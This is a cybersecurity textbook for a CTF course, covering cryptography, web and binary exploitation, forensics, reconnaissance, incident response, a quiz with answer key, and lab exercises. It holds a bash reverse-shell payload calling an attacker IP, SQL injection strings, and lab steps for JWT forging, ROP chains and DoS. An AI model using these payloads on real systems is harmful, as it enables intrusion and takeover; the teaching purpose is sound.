

The Comprehensive Guide to CTF Competitions & Cyber Operations

Professional & Academic Edition - Version 3.0

Author: Yau Ka Cheung

Date: February 20, 2026

Preface

In the rapidly evolving landscape of cybersecurity, theoretical knowledge is often insufficient. Real-world adversaries, from script kiddies to state-sponsored Advanced Persistent Threats (APTs), leverage sophisticated techniques that cannot be countered with theory alone.

This guide bridges the gap between academic theory and professional application. By employing a "Theory to Lab" methodology, students will master the *how* and *why* behind modern attack and defense vectors. This textbook serves as the authoritative curriculum for the **Cyber Hacking Mastery Course**, directly supporting the **IoT Red vs Blue Capstone Project**.

[!NOTE] This edition has been significantly expanded to meet modern competition standards (like DEF CON CTF) and real-world Incident Response protocols.

Table of Contents

1. [Chapter 1: Introduction to CTFs & Ethics](#)
2. [Chapter 2: Cryptography](#)
3. [Chapter 3: Web Exploitation](#)
4. [Chapter 4: Forensics](#)
5. [Chapter 5: Reverse Engineering & Binary Exploitation](#)
6. [Chapter 6: Networking & Reconnaissance](#)
7. [Chapter 7: Cyber Security Basics](#)
8. [Chapter 8: Networking Foundations](#)
9. [Chapter 9: Cyber Attack Vectors](#)
10. [Chapter 10: Cyber Defence & Operations](#)
11. [Chapter 11: Comprehensive Assessment](#)
12. [Cyber Security Field Manual: Laboratory Exercises](#)
13. [Glossary & References](#)

Chapter 1: Introduction to CTFs & Ethics

Core Concepts & Definitions

Capture The Flag (CTF) competitions are rigorous cybersecurity exercises where participants solve challenges to find a "flag" (a secret string). They mimic real-world security scenarios in a controlled, legal environment.

CTF Formats

1. **Jeopardy:** Challenges are categorized (Web, Crypto, Pwn, etc.) with increasing point values. Solved independently.
2. **Attack-Defense:** Each team is given an identical vulnerable server. They must patch their own vulnerabilities (Defense) while exploiting opponents' servers (Attack) in real-time.
3. **King of the Hill (KotH):** Teams battle to gain root access to an objective machine and patch it to keep others out.

[!IMPORTANT] Key Terminology:

- **Flag:** The target string proving compromise (e.g., `CTF{w3lc0m3_h4ck3r_2026}`).
- **Shell:** A command-line interface to interact with the OS.
- **Root/Admin:** The highest-level superuser account.
- **Zero-Day:** An exploit for a vulnerability not yet known to the vendor.

Section 1

Goal: Understand the environment and navigate the command line with precision.

1.1 The Command Line Interface (CLI)

Hacking is rarely performed with a mouse. Mastery of the Linux terminal is non-negotiable.

Essential Navigation & Execution:

- `pwd` (Print Working Directory): Ascertain your current location in the filesystem.
- `ls -lah` : List all files (including hidden `.files`), in a human-readable format, with permissions.
- `chmod +x script.sh` : Make a script executable.

Powerful CLI Concepts:

- **Redirection (`>` , `>>`):** Control where output goes.
 - `echo "payload" > exploit.txt` (Overwrite/Create).
- **Piping (`|`):** Chain commands together.
 - `cat access.log | grep "admin" | awk '{print $1}'` (Finds IPs that accessed the admin panel).

1.2 Ethics: The Hacker's Code

[!CAUTION] Unauthorized access is a federal crime (e.g., CFAA in the US). Always ensure you are within the scope of your engagement.

1. **Authorization:** Written consent (Rules of Engagement) is mandatory.
2. **Scope:** Do not attack IP ranges or applications not explicitly listed.

3. **Non-Destructive Testing:** Never intentionally delete user data or cause a Denial of Service unless authorized.

Chapter 2: Cryptography

Core Concepts & Definitions

Cryptography is the science of secure communication. In CTFs, you act as the *cryptanalyst*, attempting to break algorithmic implementations or exploit mathematical flaws.

*[!WARNING] **Encoding is NOT Encryption.** Base64, Hexadecimal, and URL-encoding do not use keys. They merely change data formats and provide zero confidentiality.*

Section 1

1.1 Symmetric vs Asymmetric

- **Symmetric:** A single key encrypts and decrypts (e.g., AES, ChaCha20). Faster, used for bulk data. Issue: Key distribution.
- **Asymmetric:** A key pair—Public (to encrypt) and Private (to decrypt) (e.g., RSA, ECC). Slower, used for secure key exchange and digital signatures.

1.2 Tools of the Trade

- **CyberChef:** The "Cyber Swiss Army Knife." Use it to visually chain encoding/decoding operations.
- **RSActfTool:** Essential for automating number-theoretic attacks against weak RSA parameters.

Section 2

2.1 The Magic of XOR (\oplus)

- **Property:** $A \oplus B = C$ and $C \oplus B = A$. XOR is its own inverse.
- **Real-World Context:** Many malware variants use XOR to obfuscate their payloads and avoid antivirus signatures.
- **CTF Tip:** Known Plaintext Attack (KPA)—If you know the file header (e.g., a PNG signature `89 50 4E 47`) and possess the cipher, XORing them reveals the key stream.

2.2 Modern Symmetric: AES (Advanced Encryption Standard)

- **ECB (Electronic Codebook):** Flawed. Identical plaintext blocks produce identical ciphertext blocks. (Look up the "ECB Penguin" visual).
- **CBC (Cipher Block Chaining):** Stronger. Uses an Initialization Vector (IV).
- **GCM (Galois/Counter Mode):** The modern standard. Provides both encryption and integrity (authenticated encryption).

Section 3

3.1 RSA & Prime Factoring Vulnerabilities

RSA relies on the computational difficulty of factoring large semi-primes ($N = p \times q$).

- **Common Modulus Attack:** If two parties share the same N but different e .
- **Wiener's Attack:** When the private exponent d is too small.

3.2 Hashing & Password Cracking

Hashes (SHA-256, bcrypt) are one-way cryptographic fingerprints.

- **Rainbow Tables:** Pre-computed tables for fast cracking. Mitigated by adding a **Salt** (random data appended before hashing).
- **Tools:** Hashcat and John the Ripper . Modern cracking utilizes GPU parallel processing.

Chapter 3: Web Exploitation

Core Concepts & Definitions

Web applications are the most common attack surface today. **Web Exploitation** targets logic flaws, injection points, and misconfigurations.

*[!TIP] Always proxy your traffic through **Burp Suite** or **OWASP ZAP**. You cannot hack what you cannot see.*

Section 1

1.1 Reconnaissance & Directory Fuzzing

Websites hide administrative panels (`/backend`) or exposed backups (`/backup.zip`).

- **Tools:** `ffuf` , `dirb` , `gobuster` .
- **Wordlists:** Use `SecLists` for comprehensive fuzzing dictionaries.

1.2 Broken Access Control (IDOR)

Insecure Direct Object Reference (IDOR) occurs when an application provides direct access to objects based on user-supplied input.

- **Example:** Changing `https://api.app.com/user/profile?id=101` to `id=102` to view another user's PII.

Section 2

2.1 Cross-Site Scripting (XSS)

Injecting malicious JavaScript into pages viewed by other users.

- **Stored XSS:** Payload is saved in the database (e.g., a forum post). High impact.
- **Reflected XSS:** Payload is echoed back immediately via URL parameters.
- **Impact:** Session Hijacking, Keylogging, forcing actions on behalf of the user.

2.2 Cross-Site Request Forgery (CSRF)

Forcing an authenticated user to perform unwanted actions.

- **Mitigation:** Anti-CSRF tokens validating that the request originated from the legitimate frontend.

Section 3

3.1 SQL Injection (SQLi)

Manipulating input to alter backend database queries.

- **Union-Based:** `UNION SELECT username, password FROM users--`
- **Blind (Time-Based):** When the server doesn't return output, attackers use timing. `IF (1=1) WAITFOR DELAY '0:0:5'--` .
- **Defense:** Always use **Prepared Statements (Parameterized Queries)**.

3.2 Server-Side Request Forgery (SSRF)

Tricking the server into making HTTP requests to internal, protected resources (e.g., AWS Metadata endpoint `http://169.254.169.254/latest/meta-data/`).

Chapter 4: Forensics

Core Concepts & Definitions

Digital Forensics is the scientific investigation of digital evidence. In CTFs, this involves recovering hidden data from disk images, memory dumps, or network captures.

Section 1

1.1 Magic Bytes (File Signatures)

Never trust a file extension. Use `file [filename]` or a hex editor (like `xxd` or `HxD`).

- **PNG:** 89 50 4E 47
- **ZIP:** 50 4B 03 04
- **PDF:** 25 50 44 46

1.2 Grepping for Strings

Use `strings -n 8 file.bin | grep "CTF{"` to quickly identify ascii text within binary data.

Section 2

2.1 File Carving & Steganography

- **Binwalk:** `binwalk -e firmware.bin` automatically extracts embedded files (like finding a hidden filesystem inside a router firmware update).
- **Steganography:** Hiding data in plain sight. `zsteg` extracts Least Significant Bit (LSB) payloads hidden in image pixels.

Section 3

3.1 Network Forensics (PCAP Analysis)

Using **Wireshark** to reconstruct attacks.

- **Filters:** `http.request.method == "POST" , tcp.flags.syn == 1 , dns` .
- **Extraction:** Go to `File > Export Objects > HTTP` to rebuild downloaded files from the raw packet capture.

3.2 Memory Forensics

Using **Volatility** to analyze RAM dumps.

- Can extract unencrypted passwords, running malware processes, and browser history that existed perfectly in memory at the time of the crash.

Chapter 5: Reverse Engineering & Binary Exploitation

Core Concepts & Definitions

Reverse Engineering (RevEng) is deconstructing compiled software to understand its logic. **Binary Exploitation (Pwn)** involves weaponizing memory corruption bugs to gain arbitrary code execution.

Section 1

1.1 Assembly (ASM) Basics

- **Registers:** Fast storage inside the CPU.
 - `EAX/RAX` : Accumulator (holds return values).
 - `ESP/RSP` : Stack Pointer (top of the stack).
 - `EIP/RIP` : Instruction Pointer (points to the *next* instruction to run).

1.2 Static Analysis

Using tools like **Ghidra** or **IDA Pro** to decompile binary executables into readable C-like pseudocode.

- **Goal:** Find hidden password checks or identify functions vulnerable to overflow.

Section 2

2.1 The Stack Buffer Overflow

If a developer uses a dangerous function like `strcpy()` or `gets()`, an attacker can input more data than the buffer can hold.

- The data "overflows", overwriting adjacent memory, up to the **Return Address**.
- By hijacking the Return Address, the attacker forces `EIP` to execute their own malicious code (Shellcode).

Section 3

3.1 Modern Mitigations & Bypasses

- **ASLR (Address Space Layout Randomization):** Randomizes memory locations. Bypassed using info leaks.
- **NX (No-Execute) / DEP:** Prevents executing code on the stack. Bypassed using ****ROP (Return Oriented Programming)****—chaining together tiny snippets of existing executable code ("gadgets") to spawn a shell.
- **Pwntools:** A Python library used to automate the complex math required for these exploits.

Chapter 6: Networking & Reconnaissance

Core Concepts & Definitions

Reconnaissance is the intelligence-gathering phase. You cannot exploit what you don't know exists.

Section 1: Passive Recon & OSINT

Passive recon means gathering data without interacting directly with the target infrastructure.

- **OSINT (Open Source Intelligence):** Using public records.
- **Google Dorking:** Advanced operators (`site:example.com ext:pdf intext:"confidential"`).
- **Shodan/Censys:** Search engines that map the entire Internet, identifying vulnerable IoT devices, open databases, and exposed webcams.

Section 2: Active Recon (Nmap)

Interacting with the target to map the attack surface.

- `nmap -sS -sC -sV -p- <IP>`
 - `-sS` : Stealth SYN scan (Half-open).
 - `-sC` : Run default NSE scripts (checking for anonymous FTP, etc.).
 - `-sV` : Enumerate service versions.
 - `-p-` : Scan all 65,535 ports.

Section 3: Weaponization

3.1 Reverse Shells

A payload executed on the victim that establishes a connection *back* to the attacker's listening machine.

- **Attacker Listener:** `nc -lvp 4444` (`ncat` or `rlwrap nc` preferred).
- **Victim Payload (Bash):** `bash -i >& /dev/tcp/10.0.0.1/4444 0>&1`

[!NOTE] Firewalls often block incoming connections (Bind Shells), but frequently allow outbound outbound HTTP/HTTPS traffic. Reverse shells abuse this trust.

Chapter 7: Cyber Security Basics

Core Concepts & Definitions

Cybersecurity is the discipline of protecting confidentiality, integrity, and availability (The CIA Triad) of data and systems.

7.1 The Threat Landscape

- **State-Sponsored Actors (APTs):** Highly funded groups focused on espionage or infrastructure sabotage (e.g., Stuxnet destroying centrifuges).
- **Ransomware Syndicates:** Organized crime operating as a business (Ransomware-as-a-Service), conducting double extortion (encrypting data and threatening to leak it).

7.2 The Dark Web

Accessible via the Tor network (The Onion Router), providing anonymity by bouncing traffic through multiple encrypted relays. While used for legitimate privacy, it hosts thriving illicit marketplaces for zero-day exploits, stolen credentials, and malware.

Chapter 8: Networking Foundations

Core Concepts & Definitions

Understanding the OSI model is crucial for identifying where vulnerabilities reside.

8.1 The OSI Model Context

- **Layer 2 (Data Link):** ARP Spoofing happens here.
- **Layer 3 (Network):** IP addresses, routing, ICMP (Ping floods occur here).
- **Layer 4 (Transport):** TCP/UDP ports. SYN floods occur here.
- **Layer 7 (Application):** HTTP, DNS, SMTP. SQLi and XSS occur here.

8.2 Defensive Technologies

- **NAT (Network Address Translation):** Hides internal networks behind a single public IP.
- **VPN (Virtual Private Network):** Creates an encrypted tunnel. Crucial for securing remote administrative access (like managing IoT clusters over public networks).
- **Next-Generation Firewalls (NGFW):** Inspects Layer 7 payloads to block specific apps or malware signatures, moving beyond simple IP/Port blocking.

Chapter 9: Cyber Attack Vectors

Core Concepts & Definitions

Modern attacks are often multi-staged, chaining low-severity flaws into critical breaches.

9.1 IoT Specific Vectors

IoT infrastructure is uniquely vulnerable due to constrained hardware, lack of secure update mechanisms, and monolithic firmware.

- **Mirai Botnet:** Exploited default Telnet credentials (admin/admin) across thousands of DVRs and cameras to launch unprecedented DDoS attacks.
- **MQTT Sniffing:** Unencrypted IoT telemetry allows attackers to spy on smart homes or industrial SCADA control systems.

9.2 Wi-Fi & Lateral Movement

- **WPA2 Cracking:** Capturing the 4-way handshake and brute-forcing the PMK offline.
- **Lateral Movement:** Once one device on a network is compromised (like an IoT thermostat), the attacker pivots to attack the internal Active Directory or database servers.

Chapter 10: Cyber Defence & Operations

Core Concepts & Definitions

Defense is continuous. The Blue Team operates the **Security Operations Center (SOC)**.

10.1 Telemetry & Visibility

You cannot defend what you cannot see.

- **SIEM (Security Information and Event Management):** Splunk or ELK Stack. Aggregates logs from firewalls, endpoint antivirus, and web servers to correlate events (e.g., "5 failed logins followed by a successful login from a new IP").

10.2 Incident Response (PICERL)

The structured lifecycle of handling a breach:

1. **Preparation:** Writing the playbooks, deploying EDR (Endpoint Detection & Response).
2. **Identification:** A SIEM alert triggers. Analyst confirms it's a true positive.
3. **Containment:** Isolating the infected host from the network (physically or logically).
4. **Eradication:** Removing the malware, deleting backdoors, patching the root cause.
5. **Recovery:** Restoring from clean backups.
6. **Lessons Learned:** Post-mortem meeting to update defenses.

*[!TIP] **Zero-Trust Architecture (ZTA):** A modern paradigm. "Never trust, always verify." Every request is strongly authenticated, regardless of whether the user is inside or outside the corporate network.*

Chapter 11: Comprehensive Assessment

Test your readiness with these advanced foundational questions.

1. Which 3 levels in OSI Model are usually implemented in the software within the operating system?

- ☐ Data Link, Transport, Application
- ☐ Transport, Session, Presentation
- ☐ Application, Presentation, Session

2. Which of these protocols reside in Layer 3 - Network in the OSI Model?

- ☐ TCP and IPSec
- ☐ IP and TCP
- ☐ IP and IPSec

3. Shortening an IPv6 address means:

- ☐ Converting 8 groups of 4 hexadecimal numbers into a valid IPv4 address
- ☐ Removing unused groups of hexadecimal numbers
- ☐ Removing a group of only 0's (using `::`)

4. What is Zero-Trust architecture?

- ☐ A network where only some resources/devices are trusted
- ☐ A network where we do not trust the public internet, but trust local network
- ☐ A network where all systems/resources need explicit access & verification to communicate

5. To detect and block specific file types from being downloaded with a firewall, you need:

- ☐ A Next-Generation Firewall with layer 7 features
- ☐ A Next-Generation Firewall with layer 6 features
- ☐ A stateful layer 4 firewall

6. NMAP Timing options (-T) can be used to avoid detection by:

- ☐ Limiting the speed of how fast hosts are scanned to avoid alerting IPS thresholds
- ☐ Timing options are used to time a scan to CPU clocks
- ☐ Choosing when to scan (e.g., only scan during the night)

7. What is IDOR?

- ☐ Insecure Door or Room
- ☐ Insecure Direct Object Reference
- ☐ Invalid Data or Reference

8. What is best practice in defending against SQL injection?

- ☐ Blocking specific ports
- ☐ Using parameterized queries / sanitizing input

- ☐ Relying solely on client-side JS validation

9. What is CSP (Content Security Policy)?

- ☐ TLS encryption
- ☐ A strict way of sanitizing user input
- ☐ A HTTP header controlling where resources/javascript are allowed to be loaded/executed from

10. The 6 stages of PICERL in Incident Response are:

- ☐ Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned
- ☐ Preparation, Identification, Containment, Eradication, Recovery, Payment
- ☐ Preparation, Isolation, Containment, Eradication, Reboot, Logging

Chapter 12: Cyber Security Field Manual - Laboratory Exercises

These exercises mirror scenarios found in major CTFs and real-world penetration tests.

Lab 1: Applied Cryptography (The Oracle)

- **Scenario / Real-World Context:** You intercept a secure token. The server decrypts it and returns "Invalid Padding" or "Decryption Failed". This was the exact flaw that broke SSL 3.0 (POODLE).
- **Task:** Implement a Padding Oracle Attack script in Python to decrypt an AES-CBC ciphertext byte-by-byte without knowing the key.
- **Assessment:** Why does AES-GCM prevent padding oracle attacks?

Lab 2: Web API Exploitation (JWT Cracking)

- **Scenario:** A web app uses JSON Web Tokens (JWT) for authentication.
- **Task:**
 1. Decode the Base64Url encoded payload.
 2. Change your role from `user` to `admin`.
 3. Use `hashcat` with the `rockyou.txt` wordlist to brute-force the weak HS256 signing secret.
 4. Sign your forged token and gain admin access.

Lab 3: RevEng & Pwn (Return Oriented Programming)

- **Scenario:** You find a vulnerable network service running a compiled C binary with NX (No-Execute) enabled.
- **Task:** You are forbidden from injecting shellcode. Use `ropper` to find `pop rdi; ret` gadgets. Construct a ROP chain that executes `system("/bin/sh")` using addresses natively residing within `libc`.

Lab 4: IoT Red vs Blue Capstone Project

Goal: Deploy, attack, and defend a simulated industrial IoT ecosystem.

Project Roadmap

1. **Phase A: Traffic Spoofing:** Intercept unencrypted HTTP sensor data and inject false readings, triggering dashboard alarms.
2. **Phase B: NoSQL Injection:** Exploit the API database lookup query to bypass authentication without needing a password.
3. **Phase C: Brute Force:** Attack the admin login panel using a customized wordlist and `Burp Suite Intruder`.
4. **Phase D: Denial of Service (DoS):** Rapidly exhaust the Node.js event loop or MongoDB connection pool to disrupt the primary service.
5. **Phase E: Blue Team Dashboard Response:** Utilize the React-based interactive dashboard to visually detect anomalies, correlate IP addresses with attack types, and isolate threats.
6. **Phase F: Customization & Hardening:** Deep dive into the source code. Develop custom API rate limiters, implement HTTPS wrappers, and sanitize all NoSQL query inputs.

Refer to the specific `Part_X_Guide.md` documents in your project directory for step-by-step execution.

Chapter 13: Glossary & References

- **APT:** Advanced Persistent Threat. Usually a nation-state group.
- **CFAA:** Computer Fraud and Abuse Act. The primary federal anti-hacking law in the United States.
- **CVE:** Common Vulnerabilities and Exposures. A standardized list of publicly disclosed vulnerabilities (e.g., CVE-2021-44228 is Log4Shell).
- **OWASP:** Open Worldwide Application Security Project. Renowned for the "OWASP Top 10" web vulnerability list.
- **SIEM:** Security Information and Event Management.
- **ZTA:** Zero-Trust Architecture.

Appendix

A. Recommended Reading

- The Web Application Hacker's Handbook
- Practical Malware Analysis
- The Tangled Web

B. Useful Commands Cheat Sheet

- `nmap -sC -sV -oA scan_results <IP>`
- `ffuf -w wordlist.txt -u http://target/FUZZ`
- `john --wordlist=rockyou.txt hashes.txt`

C. Chapter 11 Answer Key

1. Application, Presentation, Session
2. IP and IPSec
3. Removing a group of only 0's (using `::`)
4. A network where all systems/resources need explicit access & verification to communicate
5. A Next-Generation Firewall with layer 7 features
6. Limiting the speed of how fast hosts are scanned to avoid alerting IPS thresholds
7. Insecure Direct Object Reference
8. Using parameterized queries / sanitizing input
9. A HTTP header controlling where resources/javascript are allowed to be loaded/executed from
10. Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned